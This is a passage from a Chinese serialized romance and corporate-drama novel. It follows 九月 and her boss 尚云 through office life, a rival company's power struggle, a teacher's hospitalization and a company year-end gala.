半年过去,原本压抑在心底的情愫不仅没有消退,反而日益蹿长。到了几乎不受控制的地步,她一颦一蹙都能牵动自己的心。 在宋氏食品公司工作期间,那个重复了多年的梦魇倒是少了,她的音容笑貌时常出现在梦里。 目送她消失在公寓大门,他才上车回了滨香苑。 志高喜欢尚云家的三楼,他本身就喜欢兵器一类,这一点倒是与尚云契投。 尚云对兵器知道的不多,常见的都会使用。而他纯粹喜欢收藏,冷兵器品类没有他不知道的,凡历史上有的,他都舍得花重金淘回来,就算弄不到,他也会花钱打造一模一样的仿品。全都收藏在他们家里那件宝器库中。 两人偶尔会切磋一二,尚云从不在人前耍弄真功夫,看起来也不过是强身健体的花式拳脚。 因此,每回在别墅相聚,二人就不由自主去了三楼,子玥也喜欢看尚云舞枪弄剑。 这次干脆嚷嚷着让尚云教她,尚云便手把手教她几招,志高在旁边也是跃跃欲试,直到夜深方才返归。 送走金家兄妹二人,尚云叫住岑姨,“这两天九月在家做什么?” 岑姨想了想,摇头道:“多数时候都在看书,你放在沙发旁边那些书,她这两天看完了三本。” 尚云没有说话,侧头看向沙发那边,那一摞书都是些经管类和传记类的书籍,都是他平常看过的。 他看书时会在边上注示他自己的见解,即使她看到,也再正常不过。他想,问题不出在这里。 见他愁眉苦思,岑姨细想了想,又道:“哦对了,她下午问我认不认识子玥。” “她为何这么问?” “那时下雨,我去花园扶她回屋里。她突然问起子玥,我也奇怪,但她没说什么。” “嗯,没事了。你早点休息。” 尚云独自静坐在客厅沙发上,一动不动看着落地窗外。室外的雨愈发大了,枝叶在雨滴的敲打下轻轻颤动,庭院里的路灯照在湿漉漉的叶面,折射出耀眼光芒。 第一百一十八章 东维恺的身份 年底各大行业都在忙于冲刺,普世也不例外,除此之外还忙着布局来年的新形势。 上市筹划也已经到了一定阶段,上市后公司准备落实开第一家分公司的重要举措。 智能产品在内部测试后,发现智能产品还存在一些缺陷,需要完善。 研发部门经过一个多月的苦战,终于将智能产品打造成目前为止没有漏洞的产品,尚云亲自实践应用,觉得可以推广应用,才将该系统应用于宋氏食品,一方面兑现了当初对戴老先生的承诺,一方面也是试点服务。 “戴老先生精力有限,适当放权,让下面的人替你分忧。这个产品能成为决策工具,成为你最大的后盾,辅助公司健康发展。” 戴老先生感激尚云对宋氏食品的信任,欣然应允。 这个城市繁华如常,它的半边天雷默集团却正在酝酿新一轮风云。 克普公司在沉寂几个月后,出现在策略上的大改革。 先是此前的一些计划中断,林作杰和小竺计划的“克普”手段被琳达叫停。原来窃取的普世App程序线上服务,被琳达宣告放弃。 其次,小竺针对普世所做的一系列举措也被琳达制止。 琳达是一个职业经理人,在外资企业从事多年高管,雷厉风行。因此,这几个月以来,一直在整顿内部不合常理的制度与行为,涉及到很多岗位变动,甚至裁辙。 几个月的雷霆压力下,雷默集团反而形成了两股势力。琳达不知道,雷默集团已经暗中易主,箫家早已被暗中架空。 特别是小竺在林作杰的撺凑下投资克普,孤注一掷,就已经失掉人心。 目前,以林作杰为首,所有股东都心照不宣站他那一边。而琳达则势单力孤,空有一身变革之心,做出的决策无法真实落地。 被逼无奈之下,琳达也深知,若投资于克普的资金未收到应有的回报,雷默集团只怕会脱离箫家的掌控。 因此,她开始将克普公司的发展作为明年主战场。 强压之下,琳达有志难伸,她又是不折不扣的工作狂,身体严重透支,卧病了一个星期。 “雷默噬主”的说法传了出来,被某媒体当作花边新闻报导出来。雷默人心浮动,军心不稳,愈加不安。这让琳达的处境雪上加霜,愈发没有权威性。 箫小竺并不是母亲眼中的乖乖女,也不像表面上那样傻白甜,任由林作杰操纵。甚至,有些行为是她刻意引导林作杰入局。 琳达的处境孤立无援,小竺并不是没有能力去支撑一把,而是顺从于琳达的保护,彻底躲在后面甩手不管,她在等待时机。 局面一度陷入胶着,会议上下达的命令,提出的问题,在下一次会议上依然重复,问责之下,总有相当多的“意外”与理由搪塞。 琳达有心无力,半夜想着公司的事彻夜难眠,要靠服用大量安眠药入睡。 小竺见状便劝琳达,“妈,船到桥头自然直。很多事急不得,爸爸在世的时候,他都是借力使力,从来不像您这样辛苦。您的身体要是再有个闪失,那我和哥该怎么办?” 借力使力,但现在手边无可用之人。琳达叹息,将女儿搂进怀里,“人人都说女儿是妈妈的小棉袄,说实话,我最感亏欠的就是你了,好在以后还有时间慢慢补偿回来。你放心,我的身体心中有数,没事的。” “妈,听说你要换掉克普的席总?”小竺偎在母亲怀里。 “你说的是雷默投资项目管理部派过去驻司的席远吧?怎么了?” “他曾经帮过我,而且向来忠心耿耿,我们正是用人之际,换掉他以后就更加没人了。”小竺近似撒娇地嘟囔。 琳达轻轻推开小竺,“公司的运营要看结果的,他再忠心对公司无法创造价值,我们也不能用。何况,他在公司的所作所为有目共睹,众人对他敢怒不敢言,如果此人不换,反叫真正效力于公司的人寒心。” 小竺脱口而出,“怎么能听他人挑唆,有没有价值我心里清楚。” 琳达看了她一眼,心情不太好,“小竺,连你也要质疑我做的决策吗?” “妈,不是的。”小竺缓和语气,“我是觉得他人之言不可信。” “可不可信我自有决断,公司的事情你别管了,你现在有孕在身,维恺来接你,以后就在家好好养胎。”琳达说道。 小竺不依不饶,脱口而出道:“席远不能动!他的价值你根本不知道。” “这话是什么意思?”琳达狐疑道,“小竺,你是不是有什么事瞒着妈妈?” “怎么可能,我是您女儿啊。”她下意识退了一步,随机应变回道:“爸爸昏迷期间,什么也没向我交代。我既要管雷默集团,也要顾着克普。没在克普的时候,都是他事无巨细向我反应问题,否则,我也分身乏术,哪能撑到你回国。你说过,做人要懂感恩,他帮过我,那我无论如何也要保住他。好不好,妈?” 琳达深深皱眉,默然不语,闭目揉着太阳穴。 小竺手机响了一下,她低头看了看,轻道:“维恺已经来了,妈,你注意身体,我走了。” 琳达点点头,双手继续揉着太阳穴。 “去吧。” 小竺头也不回地走了。 上了车,驾驶位上的人正是普世总助东维恺。 东维恺说道:“怎么?跟你妈吵架了?脸色这么难看。” “绊了两句嘴。”小竺懒懒地靠在椅背上,“今晚回宿舍吗?” “当然,我简历上写的未婚,家在外地,做戏要做全套,何况明天还要上班。”他与小竺约定结婚三年再正式登记,但双方父母不知情,已经给二人操办了隆重的婚礼。 “委屈你了。惟恺。” 他腾出一只手来握住她的手,“老婆做的决定我都用行动支持,乐不思蜀,何来委屈?倒是你,现在怀孕了我不能陪在身边,自己多当心。” 小竺笑得幸福,勾住他脖子就在脸上叭叽一口,“我没事。你接我电话避着点九月。她心思敏感,别让她生疑。不过,九月没认出你来,这是万幸的事。” 东维恺胸有成竹,安慰道:“放心,这我知道。我跟她没打过照面,就隔着挡风玻璃见了一面,那次还是晚上。认不出来也正常。” “你是我的秘密武器,不到关键时候我不会亮剑。等克普吞并普世,一切就顺了,我们尽量减少接触,这样的日子不会太久的。”小竺踌躇满志,目光里满是野心烈焰。 “嗯,我相信。我是你的坚强后盾,你也别太辛苦。” 车子停在一幢洋楼下,两人亲吻一番方才告别。 第一百一十九章 尚云给子玥买生日礼物 元旦过后,临近过年。 工作节奏变快,但也因为临近放假,反而兴致高昂,鲜少有沉闷者。 普世各个办公室都放着一袋喜糖,大家惊喜之余都在打听到底是谁家好事将近。 后来才知道,原来木信趁着元旦回了趟老家,跟女友正式订婚了。 大家分享甜密糖果的同时,也七嘴八舌调侃起来。 “木信总助,你的保密工作做得可以,还以为你跟尚总一样,崇尚不婚主义。” “人逢喜事精神爽,你不会也赶时髦,走闪恋闪婚路线?” “嫂子可是咱们公司的?你也平时比谁都忙,只有工作能掩护你的恋情。” “是谁呀?” “快告诉我们” 有人开始猜测:“难道是新来的那谁?” 果然有人信了,但不明真相:“这阵子新来的可多了去了,指的是谁?” 有人故意搅浑水,“就是那谁啊!” 木信满面春风,便也不像平日那样严肃,遭到围堵,便干咳两声,用笔敲敲桌子:“这是上班时间啊各位,咱们的敬业精神呢?咱们工作中最飒的职业形象呢?你瞧瞧你们一个个的,跟街头巷尾的‘邻居情报局’一样。” 大家哄然一笑,继续道,“不交待清楚休想蒙混过关。” 最终,木信在大家的刑讯逼供下合盘托出,“她不是咱们公司的,别瞎猜。我们是大学同学,她呢一直在北方发展,前两个月刚结束异地恋,这不就订婚了嘛。行了行了,都回岗位上。新的一年咱们可得卯足劲,这是关键的一年,争取农历年后我们就能上市。” 大家热热闹闹总算散了。 关之洁给总助办公室也领来喜糖,另外还提着一个大蛋糕。 “哇,今天什么日子?”九月沾了喜气。 “木信总助的订婚喜糖,这个大蛋糕只有我们办公室才有哦,是木信总助的未婚妻亲手制作的。”关之洁笑道。 “不是吧,订婚了。”九月打心眼里替木信高兴,当即发信息祝福木信。 “才子佳人缔良缘,只羡鸳鸯不羡仙。订婚快乐。” 许久,对方发来一个“?” 九月发完便没再看手机,张罗了一把挺长的西瓜刀切蛋糕。东维恺这时也进来了,看着九月手上拎着洗净的西瓜刀,忙拿过来,“得得得,舞刀动枪的天生就该是男人的活儿,女孩子就得虚弱得拧不开汽水瓶盖,不然让仰慕你们的人哪有机会表现。” 关之洁笑道,“东哥很会哟,做你女朋友的人该有多幸福?” 九月也被逗笑了,听小关这么一说,目光不由自主就停留在东维恺的无名指上。 他是左撇子,此时正左手拿着刀比划着切蛋糕,无名指上一道浅色的戒指印痕比周边肤色略白,不仔细瞧还真看不出来。 东维恺利落地将蛋糕一分为二,嘴上回应:“害,打娘胎就单身到现在。”又横着落下一刀,不一会儿就划了个“米”字。 她脸上的笑容僵住了,但很快便恢复笑容,“长得帅又贴心的男人,要说单着那也是自己选择单着。” 关之洁接道:“可不是,单身出贵族。” 尚云不知何时出现在总助办公室,难得有雅兴进来逛逛,“切蛋糕呀,怪不得大老远闻着香。” 东维恺立即反应过来,“尚总来得正好,木信订婚了,我们都沾光品尝嫂子亲手做的蛋糕,您先来一块。说不定,下次就该沾您的喜气了。” 他用小纸碟装好一块蛋糕,递给尚云。 又依次将盛好的蛋糕递给关之洁和九月。 节后办公室气氛活跃了些,充斥着洋洋喜气,连关之洁也变成调侃能手,顺着东维恺的话道:“尚总是该成家了,您成了家我们一个个才敢有着落。是吧,九月。” 九月浅笑道,“是的。” 尚云并不喜欢甜食,也不想扫大家的兴:“木信带来的,那是得尝尝。” 拿在手里也不急着吃,“木信呢,你们见到他人了吗?” “刚才看到他在综合办公室那边。要不我立即打电话联系他?”关之洁说。 “不用,一会看到他,叫他来找我。”尚云说着往门外走。 九月想着下午还有个客户需去初步诊断,便返回位子调出资料。 蛋糕吃了两口放在一旁,有个电话进来,是安源小学的校长,约她和尚云去参加学校的联谊会。因为没有尚云的联系方式,让她代为转告。 她挂了电话,给尚云发信息时,才发现本来发给木信的订婚祝福,竟然发给了尚云。 她心里默哀几秒。发了一个信息致歉:“对不起,发错了。” “嗯。” 九月又发了一句:“校长邀请你参加周五的年终文艺晚会,有时间吗?” 这次回信没那么快,隔了好一会儿,才发来一个字:“好。” 惜字如金的家伙。九月腹诽道。忽然又想,他跟子玥会这样吗? 他们的互动会是怎样的?只是生起一念,便觉气闷难受。 她驱逐内心的烦乱,随后便带上东西离开公司,回来时天幕擦黑。 文菌不早不晚,打电话给她,邀她一起逛街买衣服,为晚宴做准备。 想着反正也闲着胡思乱想,不如出去吹吹风。安顿好洋洋后,便同文菌打车去了有名的流金广场。 “这边的东西可不便宜啊。”九月道。 文菌满不在乎:“一年就奢侈一次,管它呢。” 流金广场全是品牌店,九月知道这个地方,跟小竺也来逛过,虽然穿着朴素,但因为天生丽质,气质出众,却也从未遇到店大欺客的事。 她深知自己的经济实力,来逛流金广场只当长个见识,开拓眼界,寻求灵感,对品牌视觉设计工作还是有好处的。 九月熟门熟路地带着文菌在首饰区域转悠,很快,文菌便觉得带九月来挑礼物,是聪明的选择。 她知道哪家品牌店的理念好,性价比高,对品牌分析得透彻,并给出搭配方案。 “我是带着专业来寻宝,有备而来。”文菌笑道。 很快文菌便满载而归。两人提着大包小包的准备打道回府。 “子玥,你哥呢?” “刚刚还在这,没事,一会就会跟过来。”清脆的声音格外醒脑,“尚云哥,你帮我看看,我戴这个好看吗?” 九月听到这个熟悉的声音,太阳穴突突跳了几下,有一种本能的排斥反应。扭头看去,果然是金子玥和尚云,犹如一双壁人,正在珠宝柜台。 立即有柜员围过来,向子玥拿出珠宝介绍。 珠宝柜台服务员除了高学历,还都受过珠宝鉴赏培训的人才。舌若灿花向子玥介绍珠宝的价值,介绍给客户时显得笼统,反正买的人看得眼花缭乱,只觉得件件精美。 何况,来这里买东西的主并不差钱,买的是品牌和面子,而不是产品背后的艺术价值。 尚云在张望寻找金志高的时候,一眼便看到九月和文菌。 第一百二十章 老师晕厥 两人对视一眼,便默契走过去道,“尚总好。” “这么巧,你们也在逛街。” 尚云点点头。 这时子玥也从柜员那溢美之词中抽身,转头看到九月,便笑逐颜开:“九月,你也在啊,来帮我参考参考,这条项链怎么样?” 九月便走过去,看了看她手中的项链,不置可否。 在柜台走了几步,选中其中一款让柜员拿出来。 她看了看说道,“来看看这款,‘蓝玉玺’是莫斯科着名设计师星一的最新产品,一枚顶级蓝宝石镶嵌在玫瑰金质材泪形吊坠里的项链,虽然看上去并不如其它珠宝靓丽抢眼,但质地与做工却是最精细。 懂行情的人不难看出它的优点,除了前卫时尚、美丽大方,还有造型鲜活、动感的特点,奢华而不显俗气。这款‘蓝玉玺’具有动静相宜的双重特质,不论配戴者的性格静如处子或是动如脱兔,戴上它绝对能起到锦上添花的效果。你不妨试试。” 九月只是看了一眼,就能比较出佼佼者,而且精准地说出珠宝的出处,服务员知道遇到高人了。 “原来是行家,确实,这款蓝玉玺是本店的镇店之宝,从艺术出发它具有收藏价值,从工艺出发他的制作最为精良,大师收官之笔,全球仅两枚。” 尚云一直静静看着九月,她从容不迫的对珠宝特点如数家珍的样子令他着迷。 “而且,星一创作的理念,只卖给懂得欣赏作品价值的人。”九月没说出来的是:星一大师的作品另外最可贵在于,价值上档次,价格并不贵。 “没错。”所以,柜员从来不主动推荐这款产品,“它只属于有缘人。” “喜欢吗?”九月问。 “喜欢得不得了。”子玥对这条项链赞叹不已,“尚云哥,我就要它了。” “好。”尚云微笑着去付了款,柜员装好后递给九月,九月递给子玥。“谢谢你九月。” “不用客气,尚总,我跟文菌先走了。”九月跟文菌同时跟尚云打了招呼,又跟子玥告别,便离开了。 回去的路上,九月沉默下来,靠着车窗,眼睛一眨不眨盯着某个虚无的焦点。 文菌看她一眼,什么也没说,静静陪在她身边。 日子越过越快,九月无暇去伤怀。 工作上有很多企业面临放假,她有一些客户忙乱中,选择了趁手的经验,忽略了原来制定的规则和制度。 九月接到客服部的回访报告,直感一个头两个大。 便连接出差,跟客户交涉,指导。早上来公司报到后,就立即去了客户那里,很晚才回来,几乎很少在公司里出现。 经常是忙了一天下来,说话的力气都没有了。 回来后就抱着洋洋在沙发上坐上一会,或是抱着洋洋发呆,或是抱着洋洋回想白天的工作有无缺漏。 洋洋则总是在她怀里挣扎着想溜走,不如失踪前那样粘腻、温顺了。 九月心想,连洋洋都会因为长时间的分别而与她生疏,更何况两个分开了十几年的人呢。 有什么理由去责怪他,总会有些东西来填充这段漫长岁月的空白,也总会有人取代她在他心里的地位。 “道理都懂,为什么还是难过,洋洋。”九月喃喃道,一静下来,胸口就空洞洞的隐隐作疼。 周六那天下午,九月回公司的时候,看到对面街角有文菌喜欢的芙蓉糕,便过去买了给她带回去。 返回红绿灯的时候,手机响了。 接通电话,电话那头就传来艾勒着急的声音:“九月,先生晕倒了,我一个人扶不动,我没办法。” 九月不禁怔在原地,犹如当头一记闷棍:“老师怎么......打急救电话120,我马上过来。” “我打过了,但老师的情况很不好,昏迷中还有喷射状呕吐。”艾勒声音都变了,幸好她有些基本的护理知识,及时给老师做了紧急措施。 红绿灯转换,车流汹涌而来,急促惊心的汽笛震动着九月的耳膜。 九月这才意识到她竟不知不觉停在公路中间,她被毫无预警的危险吓懵了,芙蓉糕掉在地上,被擦肩而往的车辆辗碎,乳酪像箭一样射溅在她身上,她躲闪不开,非常狼狈。 一辆丰田皇冠在离她几厘米远的距离紧急刹车,九月双腿一软,跌坐在公路上。 “怎么站在马路中间,有没有受伤?”车上下来一个男子,扶起她,语气略显焦急。 入眼的是一双纤尘不染的黑色皮鞋,和伸在她面前的修长手指。听到熟悉的声音,九月抬起头。 “朱明哥……” “你没事吧?快上车。”朱明有些后怕,刚才要不是刹车快,后果不堪设想。到现在,他心都快蹦出嗓子眼了。 “我……” “再不走,后面就堵车了。”朱明惊惶未定,把她半扶半塞进副驾驶位。 在车里坐定后,九月才想起跟艾勒的通话,还没有结束。“艾勒,能联系到琪哥吗?” “我打了琪哥电话,一直无法接通。”艾勒快急哭了。 “别着急,我马上到。”九月挂断电话,对朱明说道:“朱明哥,帮个忙。” “你说。”朱明将车停在路边。 她说了一个地址,“去救人。” 朱明二话不说,在导航上选择路况最好最快捷的路线,一路疾驰。 “他是我的老师,给我重生机会的人。”九月喃喃道,泪水滚滚落下,“若不是他给我拉上光明坦途,我还不知道在哪里苟且生存。” “如今医疗情况那样发达,你不用担心。” “我已经没有可失去的了,但我希望关心我、帮助过我的人,都能得到老天的庇佑。否则,我很难再相信这世界上有公道,有天理。” “别太悲观,也许只是血糖太低晕倒,年纪大了有这些常见毛病很正常。”朱明安慰道。 九月果然心情平复了一些,“希望如此。” 他们到达后,救护车紧接着就到了。医护人员给老师做了急救,抬上担架,送去医院。 初步确诊为高血压引起颅内毛细血管破裂,一番紧急医治后,终于脱离了生命危险。要住院治疗。九月按医护人员的要求去办理住院手续,艾勒则留下照看宇崇帆。 九月随后便跟朱明道谢,让他去忙自己的事:“朱明哥,耽搁你时间了,老师已经脱离生命危险,今天谢谢你。” “你跟我之间,永远要这么客气吗?”朱明笑得很无奈。 九月坦然一笑,“基本礼貌。对了,上次跟你一起来看我的小姑娘,还不错。” 朱明腼腆转头,“那是公司的一名助理心理师。” “别装傻。小姑娘看你的眼神含情脉脉。你们俩站在一起还挺般配的。”九月由衷说道,“缘份来了就抓住,别留遗憾。” 朱明抿唇笑道,“别光说我,你怎么样?” “这方面我一直很勇敢。可盐可甜,可攻可退。”九月含糊其辞。 “尚云来找过我。”朱明突然说。 九月一脸意外,尚云和朱明之间从不主动往来:“找你做什么?” “他知道你在我这接受过治疗,想看看你的资料。” 九月不可思议地看着他,神情凝重起来。 “我没有给他。” 她点点头,“我相信你。” 朱明走后,九月打电话给尚云请假,尚云问她在哪儿。 “宝宁医院。” “忙完我过来。”尚云说完挂了电话。 此时,他正在金仕集团,跟金志高在一起。 第一百二十一章 普世出资建教学楼 最近一家叫‘海量’的公司悄悄崛起,经营内容跟金仕雷同,无论是经营模式还是发展趋势都不能小觑。整体布局及服务延展自有高明之处。 不过,好在金仕集团公司根深基稳,势力壮大,而海量公司名号起得大,但实际体量还比较小,一时半会撼动不了前者,却也不可等闲视之。 尚云心想,觉得这事必须跟金志高去提个醒。 见尚云突然主动来访,金志高有几分意外。一边搭着肩膀请进屋,一边找人看茶:“今天什么风把你给吹来啦!” “才几天没见,瘦了一大圈。最近比较操心吧?” “你也看出来了?”金志高苦笑道。 尚云指了指志高略显宽松的衣裤,“瘦得这么明显,要么在健身,要么工作上火操心。但你对健身从不热衷,我猜是后者。” 志高摇摇头,无奈道,“确实,最近工作上遇到挑战了。媒体一直在鼓吹一家叫‘海量’的公司,引导大众关注它,最近‘海量’创始人频频出镜接受采访,据说还是4.22事件英雄。” “我也注意到了,本想来提个醒,看来你都知道了。那现在有什么对策没有?” “明眼人都看得出来,他公司的运营模式是在模仿我们,但这小子也很聪明,在模仿我们的同时还在我们的弱点上,建立他们的强项,把服务延展到我们无论如何做不到的地步。实在是高,这无疑要置我们公司于死地。” “商场如战场,不是你死就是我亡。好在对方也是光明正大的竞争,不搞阴谋手段。在你的短板上建立他的长板,这是一个竞争策略,稀缺就是市场,否则他也无法生存。”尚云冷静分析。“如果现在改变,还来得及,关键要全体员工都有这份危机感。” “现在愁的就是这个。我在会议上也跟团队宣讲此事,但公司长期立于不败之高处,团队太过自信,根本不把‘海量’公司放在眼里。”志高叹息。 尚云若有所思地说,“这样就麻烦,没意识到危机,任何举措都无法真正的实施。”金仕集团基业壮大,不痛到极点无法让所有人醒悟,没醒悟就会形成内部文化变革的阻力,只能抓准时机,待机而动。 见志高陷入沉默中,尚云支招说,“不管怎样,不能等着挨打,我们得先把应对策略捊出来,伺机而动。” 志高一听,知道尚云有办法。遂来了精神。两位商界巨头关在屋子里,进行了大半天的讨论与摸索,终于敲定一套可行的方案,就等东风号鼓了。 天色将晚的时候,尚云驱车去了宝宁医院。 在附近水果店买了水果和营养品,便拎去住院部。 艾勒去拿化验结果了。 病房里,九月拧了热毛巾,给宇崇帆擦脸,擦手,像照顾孩子那样细致。 尚云站在门口,望着她忙碌的身影,目光里的温柔能滴出水来。 九月收拾完,起身时看到尚云。“尚总,你来了。” 尚云这才将东西提进来。“医生怎么说?” “颅内毛细血管爆裂,好在出血量不多,大脑能自行恢复吸收,症状还算较轻。不幸中的万幸。”九月说。 “那就好。” 说着话,艾勒回来了,说道,“化验结果我不是很懂。拿去给主治医师,说化验结果正常。情况还是很乐观的。” 九月突然就放松下来。 艾勒又说道:“九月,这一整天你忙前忙后,粒米未进,滴水未喝,我在这里看着,去吃点东西吧。” 九月说,“我不饿。” “我也没吃东西,你不饿,就陪我去吃点。”尚云见她没有走的意思,牵着她就出去了。 医院离南月楼不远,所以最终尚云又带她去了南月楼。 等待上餐的空隙,两人无话。 九月低着头,看起来没有表达的欲望。 尚云给她倒了一杯茶,又给自己倒了一杯。 “尚总今晚不去安源吗?” 尚云喝着茶,“你不是也没去吗?” “我的情况特殊,你也看到了。”九月无力地说。“但你完全可以去的。” 尚云近乎耍赖:“时间有限,我不得不将生命中的所有事物分出轻重主次,化繁为简。否则,人该活得多累。” 九月头一次看到尚云这一面,气结:“可你为何要答应?” 他直视她的眼睛,终究没将那句话讲出来:因为有你同往,原本不重要的事变得重要。你去不了,这件事对我而言便毫无意义。 对于高傲的尚云来说,从不屑于向人解释什么。“此一时彼一时,世上之事随时都在发生变化。” 眼见九月不开心了,他才说道:“我与校长达成共识了。” “什么?” “上次去学校,看到老师们的宿舍太过陈旧简陋。明年由普世文化出资建两栋教学楼和宿舍。” “这样啊。”九月原本含愠的面色缓和,“真心替学校高兴,感谢尚总仁心。” “你我都是安源学校的学梓,你可没有立场来谢我。”尚云说着,嘴角勾起好看的弧度,露出整齐牙齿。 鲜少看到他笑,九月只觉冬季暖阳照拂于身,眼前明媚起来,竟舍不得移开视线。 侍者将做好的菜都端了上来。 “不过,你真要表达谢意,就多吃点东西。” 那天之后,又是新一轮的忙碌。九月白天忙工作,晚上陪护住院的老师。 坐在床边打盹时,有人突然从背后拍拍她的肩膀。 “九月。”一个三十出头,面容中正,肤色黝黑的男子出现在病房。 她仰头,灯光晃着眼睛,以为是尚云,“你怎么来了。” “你回去休息吧,换我来照顾。”宇琪见她眼里布满红血丝,不禁动容。 九月这才发现认错了,起身道:“琪哥,你来了。老师刚睡着,下午还在念叨你。” 宇琪虽然不苟言笑,但他周身弥漫着让人非常安心的正气。自她第一次认识他,就被他的气质所吸引。 “我知道。你回吧,我这次回来,要年后再走。”宇琪道。 “嗯,老师身体不好,你尽量顺着他。他其实非常挂念你。” 见宇琪点头,她才拿了包出去了。 宇琪送她到医院门口,看着她上了车,才挥手进去。 农历年前,最后一天上班。 九月在茶水间听到同事们开心道,“这一年兵慌马乱,过得可真快,转眼又要过年了。” “以往都是晚上举办年会,但今年改为下午。” “公司体恤大家辛苦。” “这不挺好的吗?订了今晚机票也不用这么赶了,就算明天回去,今晚还有宽余时间置办年货。” “那倒是。诶,九月,你过年回家吗?” 九月在接水,听人这么一问,便开玩笑说,“公司就是我家。” 她一个四海为家的人,平日没觉得,到了年节,大街小巷都充斥着“有钱没钱,回家过年”的氛围,人们奔忙着给家人报归期,买礼物。 她的这份冷清显得格格不入,心中空落落的惆怅也分外浓郁。 第一百二十二章 九月年会表现惊艳 工作收尾了,倒是清闲了一天。大家都放松了心情,有表演节目的都出去换装画妆去了,其他人则为晚会工作做着准备。 木信依然不得闲,开会将年假前的准备工作和注意事项布置下去,又亲自去各部门监察。 尚云除了接到各界宴请应酬,迎来送往,还有金仕集团的事情要帮忙。 东维恺和关之洁则跑前忙后地做足准备,忙乱中倒也算是礼数周全。 文菌打来电话,“我今晚就要回家了,春节长假你准备去哪?” “我大概会去九寨沟度假。” “这季节去啊?听说挺冷的。” “冷点好,可以看到完整的风景,平常去了只能看后脑勺。”九月佯装轻松道。这个季节,人人都在家里团聚,享受温馨。自然美景归她了。 “我爸妈都去国外旅行了,我一个人在家。你要不就大发慈悲,陪我过个春节?”文菌笑道。 “谢谢你,文菌。我还不了解你吗?你最享受独处,哪需要我陪啊。我是真想趁着年轻,到处走走看看,老了就走不动了。” 文菌见说不动她,便也不再勉强:“行吧。那你一个人多保重。” 人资部将年会举办得热闹喜庆又振奋人心,各部门的节目精彩连连,赢来声声喝彩。蓝鲸团队平时最活跃,这时突然喝得高兴,起哄说总经办不能没有节目,说让总经办的人即兴表演一个节目。 尚云和木信陪着特邀嘉宾们,自然不会上台,而关之洁和东维恺又是新人,只有九月不上不下,大家目光一致朝她望过来。 有人干脆就喊道,“九月,你漂亮大方,多才多艺,代表总经办出个节目吧。” 欢乐声盖不住有节奏地起哄,“九月,九月,九月。” 尚云这一桌在二层阁楼上,他们本来在聊天,也被这声音吸引,叫来关之洁:“这怎么回事?” “大家喝得高兴,让总经办出节目。年前都挺忙,我们没准备。”关之洁尴尬地说。 木信起身一看,叫得最凶的是甘队的人。他与尚云对视一眼,知道老甘这是冲九月来的。如果九月接不了这一招,在台上丢了面子,以后留下个不好的印象,在团队面前始终是个笑话。 如果她化解了这一危机,那么大家乐呵一下,当成特色节目也就过去了。 九月坐在位子上,低着头不知在想什么。 就在尚云使眼色让木信上台去化解尴尬场面时,九月站了起来,嘴角噙笑,款款向台上走去。 大家见九月上台,甘队那边掌声热烈更甚。 她大大方方的接过话筒,说了一番非常大气的话:“感谢大家的盛情呼声,来公司短短半年时间,没想到人气还挺旺。只是太过怆促,确实没有准备节目,好在平时喜欢唱歌,那我就献丑演唱一首古风歌曲《之子于归》,大家给dJ时间,寻找配乐。 之子于归,在诗经中它代表远嫁的女子。但在我们欢聚一堂的此时此刻,从大了理解:普世文化是个大家庭,我们在这里找到归属,找到使命,找到共同的志向。人生坎坷路,涉水背一程,大家一路相伴,携手砥砺。 往小了理解:我们都是远游的儿女,今日宴会之后,就是春节小长假,我们就要回到生我养我的温暖家庭。 我代表总经办提前祝大家春节快乐,阖家团圆,万事如意,新年大吉。” “说得好!”木信喊道,带头鼓掌。 尚云也嘴角微勾,心道,不亏是九月。如他所说,她不是萝蔓,而是一株柏树,早已能独自面对很多挑战,不需要他时时维护。 雷鸣般的掌声响起。 幽悠婉转的曲调响起,会场顿时安静下来,九月令人惊艳的美妙歌声缓缓漫延在上空,在舞台的灯光与烟雾的炫染中,她的身姿如歌声一样令人夺目。 “雁回顾踏遍古城寒芜, 举风骨情深处人间悲喜尽相付, 取余生,再续一方简牍。 昔人故,万般疏,九州难觅同归路。 君可见痴缠缱绻皆化作尘与土。 流年短宫商如故浮生尽了闲愁酒几壶。 一曲长歌婉转一顾只影阑珊。 一梦红尘路漫漫几处聚散。 且将三途望断再伴晨夕暮旦。 与卿许一世长安不换。 愿之子于归,再无离散。 ......” 九月唱完这首歌,脸上尚挂着泪。 台下又一轮如雷掌声与喝彩。这一个节目下来,九月在公司圈粉无数,暗自拜她为女神。 尚云神色复杂,目光一瞬不瞬地注视着她,直到她走下台消失在人群。唱者动了情,听者动了心。 乔队迎了上来,告诉她要赶往南总公司,晚了怕来不及。 九月便和乔队走到尚云那一桌,说明了情况,乔队要开车不能喝酒,九月拿了空酒杯倒了满满一杯酒,敬了尚云及首席一桌的全体嘉宾,然后匆匆离去。 到了南总公司举办年会的酒店,南总早已派人在此等候。 按侍者接应,指引到位子上,又是一轮寒暄,拜会,你来我往少不了讲些场面话。 乔队倒是如鱼得水,九月跟在身侧,说说笑笑,并不喧宾夺主。 两场宴会下来,本来有点酒量的九月也敌不过一轮接一轮的推杯换盏。 宴会结束后,乔队大着舌头对九月道,“只能叫代驾了。” 还没走几步,就觉得胃里翻江倒海,乔队掉头跑进洗手间。 南总也喝得人事不醒,好在已经提前安排了人给他们叫代驾。 九月听到手机响,从包里拿出手机,拿出电话倒着听筒,嘴里咕哝:“手机坏了?听,听不到。” 一旁好心的服务员,替她手机反过来,“手机拿反了。” 就听到电话里,尚云慵懒的嗓音传来:“我在外面等你,车开着双闪。” “那等等,等等乔队。” “南总已经给他安排好了。” 挂断电话,摇摇晃晃走出来,四处寻找亮着双闪的车,身后传来熟悉的声音:“你在看什么?” 九月醉眼朦胧,脱口而出:“找双闪。”回头,双闪就在身后。 将她扶进车里,尚云就拉开后排另一边的车门。 九月这才看到驾驶位有人,憨笑道:“你请了代驾。” 他一想到,她喝多就趴在他怀里毫无防备地睡着。两次这样的经验,足以说明危险性。 实在不放心,便叫了代驾过来接她。 尚云看她一眼,也不理会她。对驾驶位上的人说道:“走吧。” 果然,车开出去几公里,她就靠在椅背上熟睡。 头歪向一旁,他看着难受,帮她扳正。不一会儿又歪了。 如此反复,他干脆伸手环住她,将她的头倚在他肩上。 九月醒来的时候,睡眼腥忪,她嫌睡姿不舒服,换了一头,这才感觉到不对。静静一打量,发现自己躺在尚云车后座,身上盖着尚云的衣服。 如此狭小密闭的空间,瞬间让恐惧如潮水般涌来,黑暗中她只觉窒息感笼罩四肢百骸,全身虚软,她张嘴却发不出声音,浑身直冒冷汗。 第一百二十三章 九月孤身旅行 “尚云,救......”她终于喊出微弱的声音。 